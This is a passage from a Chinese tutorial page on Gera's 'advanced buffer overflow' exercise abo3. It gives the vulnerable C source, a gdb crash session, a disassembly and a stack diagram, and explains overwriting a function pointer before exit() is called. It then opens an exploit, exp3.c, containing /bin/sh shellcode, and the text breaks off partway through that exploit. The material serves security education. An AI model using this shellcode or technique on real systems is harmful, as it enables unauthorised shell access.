📄 467.html
字号:
<br />
<br />
尽管用足够长的字符串可以覆盖函数的返回地址,程序还是正常退出了。这是因为在strcpy()后调用了exit(),如果没有这个exit()call,程序将运行在0x8048461和0x8048462的指令,这些指令又去运行返回地址(被覆盖后的返回地址)指向的那些指令(shellcode)。然而有了这个exit()call,程序就终止了。<br />
<br />
<br />
<br />
高级缓存区溢出代码3的分析<br />
源代码:<br />
/* abo3. c * <br />
* specially crafted to feed your brain by gera@core-sdi.com */<br />
<br />
/* This'll prepare you for The Next Step */<br />
<br />
int main(int argv, char ** argc) <br />
{<br />
extern system, puts;<br />
void (* fn)(char*)=(void(*)(char*))& system;<br />
char buf[256];<br />
<br />
fn=(void(*)(char*))& puts;<br />
strcpy(buf,argc[1]);<br />
fn(argc[2]);<br />
exit(1);<br />
}<br />
<br />
粗看,这个程序有点迷糊:)。它有两个字符串参数,第一个string被拷贝到缓冲,如果它长于256字节,就会覆盖一些东西,可以调试看看究竟覆盖了什么;第二个string被显示在标准输出里。下面是调试看第一个string:.<br />
<br />
user@ CoreLabs:~/ gera$ gcc abo3. c - o abo3 - ggdb<br />
user@ CoreLabs:~/ gera$ gdb ./ abo3<br />
GNU gdb 5.0<br />
Copyright 2000 Free Software Foundation, Inc.<br />
GDB is free software, covered by the GNU General Public License, and you<br />
arewelcome to change it and/ or distribute copies of it under certain<br />
conditions.<br />
Type " show copying" to see the conditions.<br />
There is absolutely no warranty for GDB. Type " show warranty" for details.<br />
This GDB was configured as " i386- slackware- linux"...<br />
( gdb) r ` perl - e ' printf " B" x 260'` A<br />
Starting program: / home/ user/ gera/ abo3 ` perl - e ' printf " B" x 260'` A<br />
<br />
Program received signal SIGSEGV, Segmentation fault.<br />
0x42424242 in ?? ()<br />
( gdb) disass main<br />
Dump of assembler code for function main:<br />
0x8048490 < main>: push % ebp<br />
0x8048491 < main+ 1>: mov % esp,% ebp<br />
0x8048493 < main+ 3>: sub $ 0x114,% esp<br />
0x8048499 < main+ 9>: push % ebx<br />
0x804849a < main+ 10>: movl $ 0x804834c, 0xfffffffc(% ebp)<br />
0x80484a1 < main+ 17>: movl $ 0x804835c, 0xfffffffc(% ebp)<br />
0x80484a8 < main+ 24>: add $ 0xfffffff8,% esp<br />
0x80484ab < main+ 27>: mov 0xc(% ebp),% eax<br />
0x80484ae < main+ 30>: add $ 0x4,% eax<br />
0x80484b1 < main+ 33>: mov (% eax),% edx<br />
0x80484b3 < main+ 35>: push % edx<br />
0x80484b4 < main+ 36>: lea 0xfffffefc(% ebp),% eax<br />
0x80484ba < main+ 42>: push % eax<br />
0x80484bb < main+ 43>: call 0x804839c < strcpy><br />
<br />
0x80484c0 < main+ 48>: add $ 0x10,% esp<br />
0x80484c3 < main+ 51>: add $ 0xfffffff4,% esp<br />
0x80484c6 < main+ 54>: mov 0xc(% ebp),% eax<br />
0x80484c9 < main+ 57>: add $ 0x8,% eax<br />
0x80484cc < main+ 60>: mov (% eax),% edx<br />
0x80484ce < main+ 62>: push % edx<br />
0x80484cf < main+ 63>: mov 0xfffffffc(% ebp),% ebx<br />
0x80484d2 < main+ 66>: call *% ebx<br />
0x80484d4 < main+ 68>: add $ 0x10,% esp<br />
0x80484d7 < main+ 71>: add $ 0xfffffff4,% esp<br />
0x80484da < main+ 74>: push $ 0x1<br />
0x80484dc < main+ 76>: call 0x804838c < exit><br />
0x80484e1 < main+ 81>: add $ 0x10,% esp<br />
0x80484e4 < main+ 84>: mov 0xfffffee8(% ebp),% ebx<br />
0x80484ea < main+ 90>: leave<br />
0x80484eb < main+ 91>: ret<br />
End of assembler dump.<br />
( gdb) q<br />
The program is running. Exit anyway? ( y or n) y<br />
user@ CoreLabs:~/ gera$<br />
<br />
当程序被操作系统调入内存运行, 其相对应的进程在内存中的影像如下图所示.<br />
<br />
| |<br />
+--------------------------------------+<br />
四个字节---> | fn()函数地址 |<br />
+--------------------------------------+<br />
| | Buf[256] | /|\<br />
| | | |<br />
| | BBBBBBBB | |<br />
栈增长方向 | | BBBBBBBB | |缓存区溢出方向<br />
| | BBBBBBBB | |<br />
| | BBBBBBBB | |<br />
\|/ +--------------------------------------+<br />
| |<br />
<br />
<br />
<br />
为了成功地exploit这个程序,我们必须不让系统调用在0x080484dc 的exit(),可以从abo2中得到这个教训!因为函数fn()被压入栈中的0x080484a1,刚好在Buf[256]前面,它可以被覆盖并在0x080484d2运行,在系统调用exit()前。<br />
这个exploit看起来跟exp1很像,有一个很重要的区别应该指出来,那就是函数的溢出地址并不是返回地址,而是在程序的运行流程中溢出了。<br />
<br />
下面是相应的exploit:<br />
/*<br />
** exp3. c<br />
** Coded by CoreSecurity-info@core-sec.com<br />
**/<br />
<br />
# include <string.h><br />
# include <unistd.h><br />
<br />
# define BUFSIZE 261<br />
<br />
/* 24 bytes shellcode */<br />
char shellcode[]=<br />
"x31xc0x50x68x2fx2fx73x68x68x2fx62x69"<br />
"x6ex89xe3x50x53x89xe1x99xb0x0bxcdx80";<br />
int main(void) {<br />
char * env[3]=shellcode, NULL;<br />
char evil_buffer[BUFSIZE];<br />
char * p;<br />
<br />
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -